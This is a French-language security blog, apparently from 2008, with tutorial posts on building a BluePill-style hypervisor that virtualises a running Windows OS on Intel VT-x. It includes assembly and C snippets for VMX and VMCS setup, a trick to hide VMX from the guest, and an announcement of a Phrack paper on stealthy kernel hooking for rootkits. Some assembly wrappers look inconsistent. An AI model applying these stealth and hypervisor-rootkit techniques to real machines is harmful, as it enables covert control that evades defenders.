Posts filed under 'C:'

Hypervisor Abyss, part 2

Suite de notre voyage dans le monde des hyperviseurs, dans la 1ère partie j’ai montré comment initialiser le support VMX sur le CPU, cette fois-ci, on passe aux choses sérieuses avec la création de la VMCS (Virtual Machine Control data Structure), cette zone mémoire va contenir toutes les infos pour contrôler le comportement du Guest en mode non-root. Lors de certains événements clés, le jeu d’instructions VMX va utiliser la VMCS pour sortir du Guest et restaurer le contexte de l’Host. Une fois que l’hyperviseur rend la main, la VMCS permet de rétablir le contexte du Guest sur le CPU. Dans notre cas, du fait que nous virtualisons notre OS à la volée la création de la VMCS est moins compliquée, elle n’en est pas moins fastidieuse …

La création de la VMCS demande les même propriétés que la VMXONRegion, une mémoire non cachée créée avec MmAllocateNonCachedMemory, la taille est la même que la VMXONRegion, c’est à dire celle qu’on lit dans le champ VMRegionSize du MSR IA32_VMX_BASIC (0×480), les 4 premiers bytes de la VMCS sont composés aussi de la valeur du champ RevId du IA32_VMX_BASIC, jusqu’ici c’est exactement pareil que pour la VMXONRegion.

Une fois que notre VMCS est alloué, nous devons la « clear » avec l’instruction VMCLEAR qui prend comme argument l’adresse physique de notre VMCS (obtenue avec MmGetPhysicalAddress), cette étape sert juste à mettre la VMCS dans un état neutre, je pense aussi que même si on pouvait le faire à la main, l’instruction VMCLEAR (comme les autres fournis par Intel) garantie le fait que notre mémoire n’aille pas dans le cache. On doit vérifier que VMCLEAR s’est bien déroulée en regardant si les flags CF et ZF de l’EFlags sont à 0. En application cela donne le code :

;VOID _VmxClear(PHYSICAL_ADDRESS Addr)
_VmClear PROC StdCall LowPart, HighPart
	mov ebp, esp
	sub esp, 8
	
	push HighPart
	push LowPart
	vmclear qword ptr [esp]
	
	leave
	retn 8
_VmClear ENDP

Maintenant il faut dire au core actif que nous allons utiliser cette zone mémoire en tant que VMCS, pour cela l’instruction VMPTRLD prend l’adresse physique de notre VMCS et la définie comme « active » sur le core courant. On a donc le bout de code :

;VOID _VmPtrLd(PHYSICAL_ADDRESS Addr)
_VmPtrLd PROC LowPart, HighPart
	mov ebp, esp
	sub esp, 8
	
	push HighPart
	push LowPart
	vmptrld qword ptr [esp]
	
	leave
	retn 8
_VmPtrLd ENDP

Les 32 bits suivant le RevId au début de la VMCS sont nomé par « VMX-abort indicator », un VM Abort apparait au moment d’un VM Exit qui pose problème, VMX va mettre à jour ce champ pour dire ce qu’il s’est passé, vous pouvez retrouver ces valeurs à la section 23.7 du « Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 3B: System Programming Guide, Part 2« .

La partie suivante de la VMCS nous incombe, nous devons tout remplir nous même. La VMCS se compose de 6 zones :

  1. Guest-state area : L’état du core est chargé depuis cette zone lors d’un VM Entry et sauvegardé dedans lors d’un VM Exit.
  2. Host-state area : Le contexte du core est récupéré ici lors d’un VM Exit pour relancer l’Host.
  3. VM-execution control fields : Ces variables contrôlent le comportement du Guest en mode non-root et détermine les VM Exit.
  4. VM-exit control fields : Ces champs déterminent le comportement de l’hyperviseur lors de certains VM Exit.
  5. VM-entry control fields : Ces champs déterminent le comportement du CPU lors des VM Entry.
  6. VM-exit information fields : Donne des informations sur la cause et la nature du VM Exit.

On a de la chance, la zone « M-exit information fields » est en lecture seule, c’est le VMX qui la met à jour lors d’un VM Exit, c’est cool, ça nous fait moins de boulot pour init la VMCS :]

Alors, grosse particularité de la VMCS, on y écrit et lit pas comme on veut dedans. En effet pour éviter les problèmes de cache et les problèmes de padding du au futurs changement et extensions sur cette structure Intel demande d’accéder au VMCS à travers les instructions VMREAD et VMWRITE. Chacune d’elles prend 2 arguments, le premier est un registre ou un pointeur qui va recevoir la valeur lu ou donnera la valeur à écrire, le second argument est un registre contenant l’encoding du champ auquel on souhait accéder. A partir de là on peut concevoir les wrappers suivants :

; ULONG32 _VmRead(ULONG32 Encoding)
_VmRead PROC StdCall Encoding
	push ebp
	mov ebp, esp
	sub esp, 4
	
	vmread Encoding, esp
	mov eax, dword ptr [esp]
	
	leave
	retn 8
_VmRead ENDP


; VOID _VmWrite(ULONG32 Encoding, ULONG32 Value)
_VmWrite PROC StdCall Encoding, Value
	push eax
	mov eax, Encoding
	vmwrite eax, Value
	pop eax
	retn 8
_VmWrite ENDP

L’encoding des champs de la VMCS possède cette forme :

Vmcs encoding
Heureusement Intel fournit dans son manuel, l’encoding de tout les champs :

/* VMCS Encodings */
enum
{
	// 16 bits Guest State Fields
	GUEST_ES_SELECTOR = 0x00000800,
	GUEST_CS_SELECTOR = 0x00000802,
	GUEST_SS_SELECTOR = 0x00000804,
	GUEST_DS_SELECTOR = 0x00000806,
	GUEST_FS_SELECTOR = 0x00000808,
	GUEST_GS_SELECTOR = 0x0000080a,
	GUEST_LDTR_SELECTOR = 0x0000080c,
	GUEST_TR_SELECTOR = 0x0000080e,

	// 16 bits Host State Fields
	HOST_ES_SELECTOR = 0x00000c00,
	HOST_CS_SELECTOR = 0x00000c02,
	HOST_SS_SELECTOR = 0x00000c04,
	HOST_DS_SELECTOR = 0x00000c06,
	HOST_FS_SELECTOR = 0x00000c08,
	HOST_GS_SELECTOR = 0x00000c0a,
	HOST_TR_SELECTOR = 0x00000c0c,

	// 64 bits Control Fields
	IO_BITMAP_A = 0x00002000,
	IO_BITMAP_A_HIGH = 0x00002001,
	IO_BITMAP_B = 0x00002002,
	IO_BITMAP_B_HIGH = 0x00002003,
	MSR_BITMAP = 0x00002004,
	MSR_BITMAP_HIGH = 0x00002005,
	VM_EXIT_MSR_STORE_ADDR = 0x00002006,
	VM_EXIT_MSR_STORE_ADDR_HIGH = 0x00002007,
	VM_EXIT_MSR_LOAD_ADDR = 0x00002008,
	VM_EXIT_MSR_LOAD_ADDR_HIGH = 0x00002009,
	VM_ENTRY_MSR_LOAD_ADDR = 0x0000200a,
	VM_ENTRY_MSR_LOAD_ADDR_HIGH = 0x0000200b,
	TSC_OFFSET = 0x00002010,
	TSC_OFFSET_HIGH = 0x00002011,
	VIRTUAL_APIC_PAGE_ADDR = 0x00002012,
	VIRTUAL_APIC_PAGE_ADDR_HIGH = 0x00002013,

	// 64 bits Guest State Fields
	VMCS_LINK_POINTER = 0x00002800,
	VMCS_LINK_POINTER_HIGH = 0x00002801,
	GUEST_IA32_DEBUGCTL = 0x00002802,
	GUEST_IA32_DEBUGCTL_HIGH = 0x00002803,

	// 64 bits Host-State Field
	HOST_IA32_PERF_GLOBAL_CTRL = 0x00002C04,
	HOST_IA32_PERF_GLOBAL_CTRL_HIG = 0x00002C05,

	// 32 bits Control Fields
	PIN_BASED_VM_EXEC_CONTROL = 0x00004000,
	PRIMARY_CPU_BASED_VM_EXEC_CONTROL = 0x00004002,
	EXCEPTION_BITMAP = 0x00004004,
	PAGE_FAULT_ERROR_CODE_MASK = 0x00004006,
	PAGE_FAULT_ERROR_CODE_MATCH = 0x00004008,
	CR3_TARGET_COUNT = 0x0000400a,
	VM_EXIT_CONTROLS = 0x0000400c,
	VM_EXIT_MSR_STORE_COUNT = 0x0000400e,
	VM_EXIT_MSR_LOAD_COUNT = 0x00004010,
	VM_ENTRY_CONTROLS = 0x00004012,
	VM_ENTRY_MSR_LOAD_COUNT = 0x00004014,
	VM_ENTRY_INTR_INFO_FIELD = 0x00004016,
	VM_ENTRY_EXCEPTION_ERROR_CODE = 0x00004018,
	VM_ENTRY_INSTRUCTION_LEN = 0x0000401a,
	TPR_THRESHOLD = 0x0000401c,
	SECONDARY_CPU_BASED_VM_EXEC_CONTROL = 0x000401e,

	// 32 bits Read Only Data Fields
	VM_INSTRUCTION_ERROR = 0x00004400,
	VM_EXIT_REASON = 0x00004402,
	VM_EXIT_INTR_INFO = 0x00004404,
	VM_EXIT_INTR_ERROR_CODE = 0x00004406,
	IDT_VECTORING_INFO_FIELD = 0x00004408,
	IDT_VECTORING_ERROR_CODE = 0x0000440a,
	VM_EXIT_INSTRUCTION_LEN = 0x0000440c,
	VMX_INSTRUCTION_INFO = 0x0000440e,
	
	// 32 bits Guest State Fields
	GUEST_ES_LIMIT = 0x00004800,
	GUEST_CS_LIMIT = 0x00004802,
	GUEST_SS_LIMIT = 0x00004804,
	GUEST_DS_LIMIT = 0x00004806,
	GUEST_FS_LIMIT = 0x00004808,
	GUEST_GS_LIMIT = 0x0000480a,
	GUEST_LDTR_LIMIT = 0x0000480c,
	GUEST_TR_LIMIT = 0x0000480e,
	GUEST_GDTR_LIMIT = 0x00004810,
	GUEST_IDTR_LIMIT = 0x00004812,
	GUEST_ES_AR_BYTES = 0x00004814,
	GUEST_CS_AR_BYTES = 0x00004816,
	GUEST_SS_AR_BYTES = 0x00004818,
	GUEST_DS_AR_BYTES = 0x0000481a,
	GUEST_FS_AR_BYTES = 0x0000481c,
	GUEST_GS_AR_BYTES = 0x0000481e,
	GUEST_LDTR_AR_BYTES = 0x00004820,
	GUEST_TR_AR_BYTES = 0x00004822,
	GUEST_INTERRUPTIBILITY_INFO = 0x00004824,
	GUEST_ACTIVITY_STATE = 0x00004826,
	GUEST_SM_BASE = 0x00004828,
	GUEST_SYSENTER_CS = 0x0000482A,
	
	// 32 bits Host State Field
	HOST_IA32_SYSENTER_CS = 0x00004c00,

	// Natural width Control Fields
	CR0_GUEST_HOST_MASK = 0x00006000,
	CR4_GUEST_HOST_MASK = 0x00006002,
	CR0_READ_SHADOW = 0x00006004,
	CR4_READ_SHADOW = 0x00006006,
	CR3_TARGET_VALUE0 = 0x00006008,
	CR3_TARGET_VALUE1 = 0x0000600a,
	CR3_TARGET_VALUE2 = 0x0000600c,
	CR3_TARGET_VALUE3 = 0x0000600e,

	// Natural Width Read Only Data Fields
	EXIT_QUALIFICATION = 0x00006400,
	GUEST_LINEAR_ADDRESS = 0x0000640a,

	// Natural Witdh Guest State Fields
	GUEST_CR0 = 0x00006800,
	GUEST_CR3 = 0x00006802,
	GUEST_CR4 = 0x00006804,
	GUEST_ES_BASE = 0x00006806,
	GUEST_CS_BASE = 0x00006808,
	GUEST_SS_BASE = 0x0000680a,
	GUEST_DS_BASE = 0x0000680c,
	GUEST_FS_BASE = 0x0000680e,
	GUEST_GS_BASE = 0x00006810,
	GUEST_LDTR_BASE = 0x00006812,
	GUEST_TR_BASE = 0x00006814,
	GUEST_GDTR_BASE = 0x00006816,
	GUEST_IDTR_BASE = 0x00006818,
	GUEST_DR7 = 0x0000681a,
	GUEST_ESP = 0x0000681c,
	GUEST_EIP = 0x0000681e,
	GUEST_EFLAGS = 0x00006820,
	GUEST_PENDING_DBG_EXCEPTIONS = 0x00006822,
	GUEST_SYSENTER_ESP = 0x00006824,
	GUEST_SYSENTER_EIP = 0x00006826,

	// Natural Width Host State Fields
	HOST_CR0 = 0x00006c00,
	HOST_CR3 = 0x00006c02,
	HOST_CR4 = 0x00006c04,
	HOST_FS_BASE = 0x00006c06,
	HOST_GS_BASE = 0x00006c08,
	HOST_TR_BASE = 0x00006c0a,
	HOST_GDTR_BASE = 0x00006c0c,
	HOST_IDTR_BASE = 0x00006c0e,
	HOST_IA32_SYSENTER_ESP = 0x00006c10,
	HOST_IA32_SYSENTER_EIP = 0x00006c12,
	HOST_ESP = 0x00006c14,
	HOST_EIP = 0x00006c16,
};

Les champs 64 sont découpés en 2 parties, les 32 bits de poids fort sont dans le champ finissant par _HIGH.

A ce moment nous sommes prêts pour remplir la VMCS. On va commencer simplement avec les Guest-state et Host-state areas. Comme je l’ai dit au début, du fait que nous virtualisons notre OS « on the fly » (ho yeah) cette partie sera simple à compléter, il suffira de mettre les mêmes valeurs pour le Guest-state et Host-State. Concrètement nous avons en commun pour l’Host et le Guest les segments, la GDT, l’IDT, certaines valeurs de MSR, les registres de contrôles CR0 et CR4. Pour toutes ces valeurs il nous suffit de prendre les valeurs de l’Host et de le mettre dans les champs correspondants des Host-state et Guest-state, pratique le bluepill :=)

Pour être clair, prenons les encoding qui concernent le segment CS, nous avons donc GUEST_GS_SELECTOR, GUEST_CS_BASE, GUEST_CS_LIMIT, GUEST_CS_AR_BYTES et HOST_CS_SELECTOR. GUEST_GS_SELECTOR et HOST_CS_SELECTOR sont égaux, GUEST_CS_BASE et GUEST_CS_LIMIT s’obtiennent en lisant la GDT de l’Host avec les fonctions suivantes :

ULONG GetSegmentDescriptorBase(PVOID GdtBase, SEGMENT_SELECTOR SegSelector)
{
	ULONG SegDescBase=0;
	PSEGMENT_DESCRIPTOR SegDescriptor;
	
	SegDescriptor=(PSEGMENT_DESCRIPTOR)((PUCHAR)GdtBase+SegSelector.Index*8);
	
	SegDescBase=SegDescriptor->BaseHigh;
	SegDescBase<<=8;

	SegDescBase|=SegDescriptor->BaseMid;
	SegDescBase<<=16;

	SegDescBase|=SegDescriptor->BaseLow;

	return SegDescBase;
}

ULONG GetSegmentDescriptorLimit(PVOID GdtBase, SEGMENT_SELECTOR SegSelector)
{
	ULONG Limit=0;
	PSEGMENT_DESCRIPTOR	SegDescriptor;
	
	SegDescriptor=(PSEGMENT_DESCRIPTOR)((PUCHAR)GdtBase+SegSelector.Index*8);

	Limit=SegDescriptor->LimitHigh;
	Limit<<=16;
	Limit|=SegDescriptor->LimitLow;

	//
	// Check granularity
	//
	if(SegDescriptor->Gran)
	{
		Limit*=0x1000;
		Limit+=0xFFF;
	}
	return Limit;
}

Le GUEST_CS_AR_BYTES est un peu particulier, il s’agit d’une version modifiée des segments descriptor de la GDT, normalement ceux-ci on la forme suivante :

La structure SEGMENT_ACCESS_RIGHTS reprend celle d’un SEGMENT_DESCRIPTOR en enlevant les champs LimitLow, BaseLow, BaseMid, LimitHigh et BaseHigh. Elle est donc définie par :

typedef struct _SEGMENT_ACCESS_RIGHTS
{
	union
	{
		struct
		{
			unsigned Type			:4;
			unsigned System			:1; // Segment type (0=system, 1=code or data)
			unsigned DPL			:2;
			unsigned Present		:1; // Segment Present
			unsigned Reserved1		:4;
			unsigned Avl			:1;
			unsigned Reserved2		:1;
			unsigned DB				:1;
			unsigned Gran			:1;
			unsigned UnUsable		:1;
			unsigned Reserved3		:15;
		};
		ULONG Access;
	};
}SEGMENT_ACCESS_RIGHTS;

On pourrait se dire qu’il est contraignant de remplir une structure SEGMENT_ACCESS_RIGHTS à partir d’un SEGMENT_DESCRIPTOR mais nan en fait, il suffit de faire l’opération suivante : SegRights=(*(PULONG)((PUCHAR)SegDescriptor+5)) & 0x0000F0FF. En SegDescriptor+5 nous sommes au niveau du champ Type du SEGMENT_DESCRIPTOR, on récupère 4 bytes qu’on masque avec la valeur 0xF0FF pour récupérer les 8 premiers bits et les 4 derniers.

On effectue les mêmes opérations sur les segments ES, DS, SS, GS, FS et les registres TR (Task Register) et LDTR (LDT Register). Ouf, nous avons finit d’initialiser les Guest et Host state …

Passons maintenant aux VM-execution control fields. Les champs PRIMARY_CPU_BASED_VM_EXEC_CONTROL et SECONDARY_CPU_BASED_VM_EXEC_CONTROL sont les plus importants, ce sont des ensembles de bits qui servent à activer des nouveaux evenement sur lesquels le Guest devra effectuer un VM Exit. Par exemple, le bit 12 du PRIMARY_CPU_BASED_VM_EXEC_CONTROL, « RDTSC exiting » définit si l’instruction RDTSC provoque un VM Exit ou non. L’utilisation du PRIMARY_CPU_BASED_VM_EXEC_CONTROL demande de prendre en compte les bits reservés de ce bitmap, c’est pourquoi Intel demande de lire le MSR IA32_VMX_PROCBASED_CTLS pour savoir comment définir ces bits. Comme dit dans la doc, les 32 premiers bits du MSR définissent les bits qui doivent être à 0 alors que les 32 bits suivant définissent les bits qui doivent être à 1. Il faut faire pareil avec le SECONDARY_CPU_BASED_VM_EXEC_CONTROL. J’avoue c’est un peu lourd à supporter, au final, l’opération minimaliste consiste à faire :

//
// The IA32_VMX_PROCBASED_CTLS MSR (index 482H) reports on the allowed 
// settings of the primary processor-based VM-execution controls (see Section 20.6.2):
// 
// - Bits 31:0 indicate the allowed 0-settings of these controls. VM entry fails if bit X 
//  in the primary processor-based VM-execution controls is 0 and bit X is 1 in this 
//  MSR.
// - Bits 63:32 indicate the allowed 1-settings of these controls. VM entry fails if bit X 
//  in the primary processor-based VM-execution controls is 1 and bit 32+X is 0 in 
//  this MSR.
//
ReadMsr(IA32_VMX_PROCBASED_CTLS, &Msr);

Tmp=0;
Tmp|=Msr.Low;
Tmp&=Msr.High;

WriteVMCS(PRIMARY_CPU_BASED_VM_EXEC_CONTROL, Tmp);

Dans l’exemple au dessus, je ne m’occupe pas des bits utiles, je les laisse tous à 0, après rien ne vous empêche de les seter à 1, faites attention de bien lire la doc, car certains comme le bit 28 (Use MSR bitmaps) font appel à des champs du VMCS comme MSR_BITMAP et MSR_BITMAP_HIGH.

Un mot sur l’EXCEPTION_BITMAP, chaque bit de ce champ contrôle un VM Exit sur un numéro d’exception, concernant les page faults (bit 14) comme nous voulons qu’il soit gérer par le Guest il faut faire attention, l’implémentation étant particulière. En fait, au moment d’un page fault, le CPU consulte le page-fault error-code [PFEG] puis 2 masques, le page-fault error-code mask [PFEC_MASK] et le page-fault error code match [PFEC_MATH]. Le CPU effectue l’opération suivante : PFEC & PFEC_MASK = PFEC_MATCH, si il y égalité alors le CPU regarde la valeur du bit 14 et effectue ou non un VM Exit. S’il n’y a pas égalité, alors le sens du bit 14 est inversé. DONC !@#! Si on veut qu’il n’y ait pas de VM Exit lors d’un page fault, il suffit de mettre le PFEC_MASK à 0, le PFEC_MATCH à 0xFFFFFFFF et le bit 14 à 1. Comme ça, il n’y aura jamais égalité et donc pas de VM Exit !

Chose marrante aussi, les CR0_GUEST_HOST_MASK et CR0_READ_SHADOW (la même chose existe pour le CR4), dans le cas ou un des bits du CR0_GUEST_HOST_MASK est un 1, une tentative de modifier le bit correspondant par le Guest produira un VM Exit. Truc cool, une tentative de lecture d’un des bits à 1 du MASK se verra retourner celui du CR0_READ_SHADOW. Cela veut dire qu’il est possible de faire croire que le bit 13 du CR4, celui qui indique si le jeu d’instruction VMX est dispo sur le CPU, est à 0 alors qu’il est à 1 pour l’Host sans provoquer de VM Exit.

Bon je ne vais pas m’amuser à décrire toutes les fonctionnalités des VM-execution control fields, déjà que je suis loin de les maîtriser, si vous voulez les connaitre mieux allez lire la doc ca sera plus simple :p

Il nous reste à régler les VM-exit control fields et VM-entry control fields. Pour les VM Exit, ces champs permettent de contrôler les MSR à charger pour l’Host à travers un tableau de Msr Entry, il faut utiliser les champs VM_EXIT_MSR_LOAD_ADDR et VM_EXIT_MSR_LOAD_ADDR_HIGH pour spécifier l’adresse physique du tableau, le champ VM_EXIT_MSR_STORE_COUNT contenant le nombre d’entrés. Il existe la même chose pour les MSR ayant besoin d’être stockés lors du VM Exit avec un tableau de VM_EXIT_MSR_STORE_COUNT situé en VM_EXIT_MSR_STORE_ADDR et VM_EXIT_MSR_STORE_ADDR_HIGH.

En parallèle on retrouve la même chose pour le VM Entry avec les champs VM_ENTRY_MSR_LOAD_ADDR et VM_ENTRY_MSR_LOAD_ADDR_HIGH qui pointent sur un tableau de VM_ENTRY_MSR_LOAD_COUNT MSR Entry qui seront chargés lors du Vm Entry.

Ouf ! Nous avons finit avec l’initialisation de la VMCS, c’était long (et bon !) mais c’est nécessaire pour lancer notre hyperviseur. Je n’ai pas voulu tout détaillé dans ce post ca m’aurait prit trop de places et puis il faut bien que vous bossiez un peu vous aussi, j’ai essayé de dégrossir et de montrer les fonctionnalités de base, à vous d’adapter en fonction de vos besoins et pour cela votre meilleur atout sera de lire la doc, je sais c’est long et chiant mais c’est comme ça et au final les docs Intel ne sont pas si mal faites, il suffit de prendre son temps :]

La prochaine fois nous verrons enfin comment implémenter la routine qui devra gérer les VM Exit obligatoire, la manière de lancer notre HVM et comment l’arrêter avec en cadeau une petite feature pour Abyss :) En attendant je retourne bosser dessus.

Et n’oubliez pas, il s’appel Robert Paulson …

6 comments mai 11th, 2008

Hypervisor Abyss, part 1

J’ai décidé de me réveiller après avoir passé une soirée à me faire défoncer par Jean-Marie à propos d’un exploit quelque peu … défaillant. Je me rachète en commençant une série de post sur la virtualisation, sujet à la mode en ce moment. Je vous propose de découvrir comment coder votre propre petit hyperviseur, le but étant de comprendre comment fonctionne le support hardware au niveau de la virtualisation, de voir ses capacités et de les utiliser à plus ou moins bon escient. Je vais juste vous montrer comment réaliser un BluePill like sous architecture Intel en utilisant la feature VT sous 32 bits. Abyss has virtualized you !

Le concept de BluePill est simple, il consiste à utiliser le support VMX (Virtual Machine eXtensions) sous Intel ou bien SVM (Secure Virtual Machine) pour AMD pour virtualiser le système d’exploitation et ainsi ajouter une couche entre votre hardware et votre OS. Dans le cadre d’une virtualisation assistée par le processeur on parle d’une HVM (Hardware-assisted Virtual Machine), les constructeurs ont fournit ces jeux d’instructions afin de simplifier la vie des développeurs tout en améliorant les performances des produits de virtualisation.

D’abord quelques définitions, j’essaye de respecter les notations provenant des white-papers de VMWare : Un hyperviseur est un programme utilisant le support hardware pour gérer plusieurs VM (Virtual Machine) représentés par des VMM (Virtual Machine Monitor). Une VM s’exécute en mode non-root, un VMM en mode root, le HVM est, quant à lui, aussi en mode root. On peut parler aussi d’Host et de Guest, l’Host étant la machine hébergeant plusieurs Guest virtualisés.

Dans le cas présent nous avons affaire à une exception, en effet, l’Host et le Guest sont confondus. Cela veut dire que notre OS s’exécutera en mode non-root la majeure partie du temps, un passage en mode root sera requis pour gérer des cas précis, c’est à ce moment que nous pouvons contrôler son comportement. Ici l’HVM est confondu avec un VMM du fait qu’il n’existe qu’une seule VM qui est notre OS, un bel endomorphisme en tout cas :]

Le passage de l’hyperviseur à la VM s’appel VM Entry, l’inverse est nommé VM Exit. Le principe d’une machine virtuelle est là, la VM fonctionne de manière autonome sauf pour certaines opérations sensibles ou elle doit faire un VM exit pour laisser l’hyperviseur gérer la chose. L’HVM fait son boulot et rend la main à la VM avec un VM Entry, cela continue tant que l’hyperviseur décide de faire tourner la VM, s’il n’a pas crashé entre temps !

Pour commencer, il faut lire la doc, je dirais même plus, bouffer la doc ! C’est un travail assez long et fastidieux car le man Intel est super détaillé à ce sujet. On retrouve la documentation décrivant le VMX au chapitre 19 du « Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 3B: System Programming Guide, Part 2« .

Dans ce premier post je vais vous montrer comment détecter si votre processeur supporte le VMX, voir si il est disponible, puis je vous montrerais comment l’initialiser.

Première étape donc : vérifier que le proco gère bien le VMX, chose simple, il suffit d’appeler l’instruction CPUID avec le registre EAX mit à 1. CPUID retourne dans ECX une structure du type :

//
// Used by the cpuid instruction when eax=1
//
typedef struct _VMX_FEATURES
{
unsigned SSE3        :1;        // SSE3 Extensions
unsigned RES1        :2;
unsigned MONITOR     :1;        // MONITOR/WAIT
unsigned DS_CPL      :1;        // CPL qualified Debug Store
unsigned VMX         :1;        // Virtual Machine Technology
unsigned RES2        :1;
unsigned EST         :1;        // Enhanced Intel© Speedstep Technology
unsigned TM2         :1;        // Thermal monitor 2
unsigned SSSE3       :1;        // SSSE3 extensions
unsigned CID         :1;        // L1 context ID
unsigned RES3        :2;
unsigned CX16        :1;        // CMPXCHG16B
unsigned xTPR        :1;        // Update control
unsigned PDCM        :1;        // Performance/Debug capability MSR
unsigned RES4        :2;
unsigned DCA         :1;
unsigned RES5        :13;
} VMX_FEATURES;

Le champ VMX (bit 5) nous indique donc si oui ou non notre CPU supporte le VMX.

Après, il se peut que le support VMX soit désactiver par votre BIOS pour le savoir il faut contrôler le MSR IA32_FEATURE_CONTROL (indice 0x3A) définit par :

typedef struct _IA32_FEATURE_CONTROL_MSR
{
unsigned Lock            :1;        // Bit 0 is the lock bit - cannot be modified once lock is set, controled by BIOS
unsigned VmxonInSmx      :1;
unsigned VmxonOutSmx     :1;
unsigned Reserved2       :29;
unsigned Reserved3       :32;
} IA32_FEATURE_CONTROL_MSR;

Le bit 0 (Lock Bit) est celui contrôler par le BIOS, le bit 1 définit si l’instruction VMXON est autorisée en mode non SMX tandis que le bit 2 définit si VMXON peut être lancée en mode SMX. Le SMX (Safer Mode eXtension) est apparu sur les processeurs Intel 64 bits et fournit un ensemble de fonctionnalité permettant d’établir un environnement protégé conçu par l’utilisateur basé sur le support VMX, il faudrait que je lise la doc pour comprendre de quoi il s’agit en détail.

VMXON est une instruction provenant du VMX, elle permet de mettre le CPU en mode « VMX Operation », l’instruction VMXON demande à ce qu’on lui fournisse un espace mémoire respectant certaines propriétés. Pour connaitre les besoins de VMXON il faut lire le MSR IA32_VMX_BASIC (0×480):

typedef struct _IA32_VMX_BASIC_MSR
{
unsigned RevId           :32;    // Bits 31..0 contain the VMCS and VMXON revision identifier
unsigned VMRegionSize    :12;    // Bits 43..32 report # of bytes for VMXON and VMCS regions
unsigned RegionClear     :1;        // Bit 44 set only if bits 32-43 are clear
unsigned Reserved1       :3;        // Undefined
unsigned PhyAddrWidth    :1;        // Physical address width for referencing VMXON, VMCS, etc.
unsigned DualMon         :1;        // Reports whether the processor supports dual-monitor
                                    // treatment of SMI and SMM
unsigned MemType         :4;        // Memory type that the processor uses to access the VMCS
unsigned VmExitReport    :1;        // Reports weather the procesor reports info in the VM-exit
                                    // instruction information field on VM exits due to execution
                                    // of the INS and OUTS instructions
unsigned Reserved2       :9;        // Undefined
} IA32_VMX_BASIC_MSR;

Des champs PhyAddrWidth et MemType de ce MSR on déduit le type et la taille de la mémoire à allouer pour VMXON. En général il suffit d’une page allouée en mémoire non caché. Heureusement le noyau nous fournit l’API MmAllocateNonCachedMemory pour allouer de la mémoire sans passer par les caches L1 ou L2.

A noter qu’il faut mettre dans les 4 premiers bytes de la VMXONRegion la valeur du RevID obtenu dans le MSR IA32_VMX_BASIC.

Avant de lancer VXMON il faut s’assurer que le bit 13 (VMXE) du registre de contrôle CR4 soit positionné à 1 sinon on aura un #UD (invalid-opcode exception, handlé par la routine KiTrap06) lorsque VMXON sera lancé. Une fois que le CPU est en mode VMX Operation il n’est plus possible de modifier ce bit. Je rappel que le rôle du CR4 est d’indiquer et de contrôler certaines extensions du CPU, il est définit par :

typedef struct _CR4_REG
{
unsigned VME        :1;            // Virtual Mode Extensions
unsigned PVI        :1;            // Protected-Mode Virtual Interrupts
unsigned TSD        :1;            // Time Stamp Disable
unsigned DE         :1;            // Debugging Extensions
unsigned PSE        :1;            // Page Size Extensions
unsigned PAE        :1;            // Physical Address Extension
unsigned MCE        :1;            // Machine-Check Enable
unsigned PGE        :1;            // Page Global Enable
unsigned PCE        :1;            // Performance-Monitoring Counter Enable
unsigned OSFXSR     :1;            // OS Support for FXSAVE/FXRSTOR
unsigned OSXMMEXCPT :1;            // OS Support for Unmasked SIMD Floating-Point Exceptions
unsigned Reserved1  :2;            //
unsigned VMXE       :1;            // Virtual Machine Extensions Enabled
unsigned Reserved2  :18;           //
} CR4_REG;

De plus, les bits 0 (PE) pour le mode protégé et 31 (PG) pour la pagination du CR0 doivent être à 1, c’est généralement déjà le cas à cause de notre OS, heureusement :=). Le PAE ne change rien dans l’activation de l’hyperviseur.

Enfin, pour lancer VMXON il faut lui donner un pointeur sur une zone de mémoire de 64 bits contenant l’adresse physique de la VMXONRegion. On fait simple en obtenant la PHYSICAL_ADDRESS de notre VMXONRegion avec MmGetPhysicalAddress puis on push sur la stack les 32 bits de poids fort d’abord puis les 32 bits de poid faible. On exécute un VMXON qword ptr [esp], on n’oublie pas de réaligner la stack et de checker le CF (bit 0) de l’EFLAGS, si il est à 1 c’est que VMXON a foiré. Hop nous avons initialisé le VMX sur le core ! \o/

La prochaine partie sera consacrée à l’initialisation de la VMCS, cette structure sert à définir l’état de l’Host et du Guest, la manière de gérer les interruptions et exceptions et plein d’autres choses.

Je fournirais le code entier de l’hyperviseur à la fin de cette série, je vous promet qu’il y aura des surprises dedans !
Get the Windows XP SP3 here !

ref :
http://ivanlef0u.fr/repo/index.php?path=./windoz/hvm

7 comments avril 29th, 2008

Phrack 65 is out !

Le dernier Phrack vient de sortir et c’est un petit rêve pour moi qui se réalise, car oui ! Je suis dedans ! J’ai coécrit un article avec le grand mxatone. J’espère que notre travaille vous plaira et cela vous donnera un paquet d’idées pour la suite. En tout cas, personnellement, je suis assez content du paper que nous avons release, on a essayé d’innover le plus possible en plongeant au fond du système en étudiant des mécanismes peu documentés voir pas du tout en ayant pour objectif de proposer une vision nouvelle dans un discipline qui, il faut le dire, commence un peu à tourner en rond, la furtivité des rootkits en se basant sur les composants systèmes déjà disponibles et ne venez pas me parler des rootkit HVM comme BlueBill qui virtualise l’OS, ils profitent d’une feature hardware pour s’installer entre le matériel et le système pour pouvoir le contrôler.

Notre article « Stealth Hooking: another way to subvert the Windows kernel » décrit des techniques de hook extrêmement furtives dans le noyau se basant sur des éléments volatiles, donc difficilement détectable par des Anti-rootkit et autres HIPS. La première partie est basé sur la gestion des interruptions hardware par Windows, depuis l’IDT jusqu’aux DPC chargés de gérés l’I/O entre le périphérique et la mémoire. La deuxième partie décrit le fonctionnement de la kernel NonPaged pool, comprenez la gestion par l’OS de la mémoire qui ne peu être swappée, puis montre comment, en corrompant les structures de gestion de cette mémoire, contrôler différents mécanismes clés de l’OS. Pour résumer d’un coté l’article décrit un moyen de contrôle des I/O sur l’OS, de l’autre une méthode permettant de hooker des fonctions clés comme l’allocation des IRP ou bien de gérer des trigger permettant à un rk d’effectuer des opérations à un moment précis.

J’ajouterais aussi que écrire en anglais est loin d’être simple, nous remercions tout ceux qui nous ont relu et nous on aidé à rendre notre paper plus propre et plus clair :]

Nous vous souhaitons, mxatone et moi, une bonne lecture et un bon Phrack !

17 comments avril 12th, 2008

Sudami

Hummmm je surfais tranquillement sur le net en train de chercher de la doc sur des trucs perdu de Windows quand je suis tombé sur un blog chinois, mais pas n’importe quel blog ! Un putain de blog de ouf sous amphétamines qui prend de la cocaïne. http://hi.baidu.com/sudami/ est tout simplement monstrueux, même si je capte rien au chinois, rien que voir les codes et les schémas qui sont de dessus, ca me fait tourner la tête.

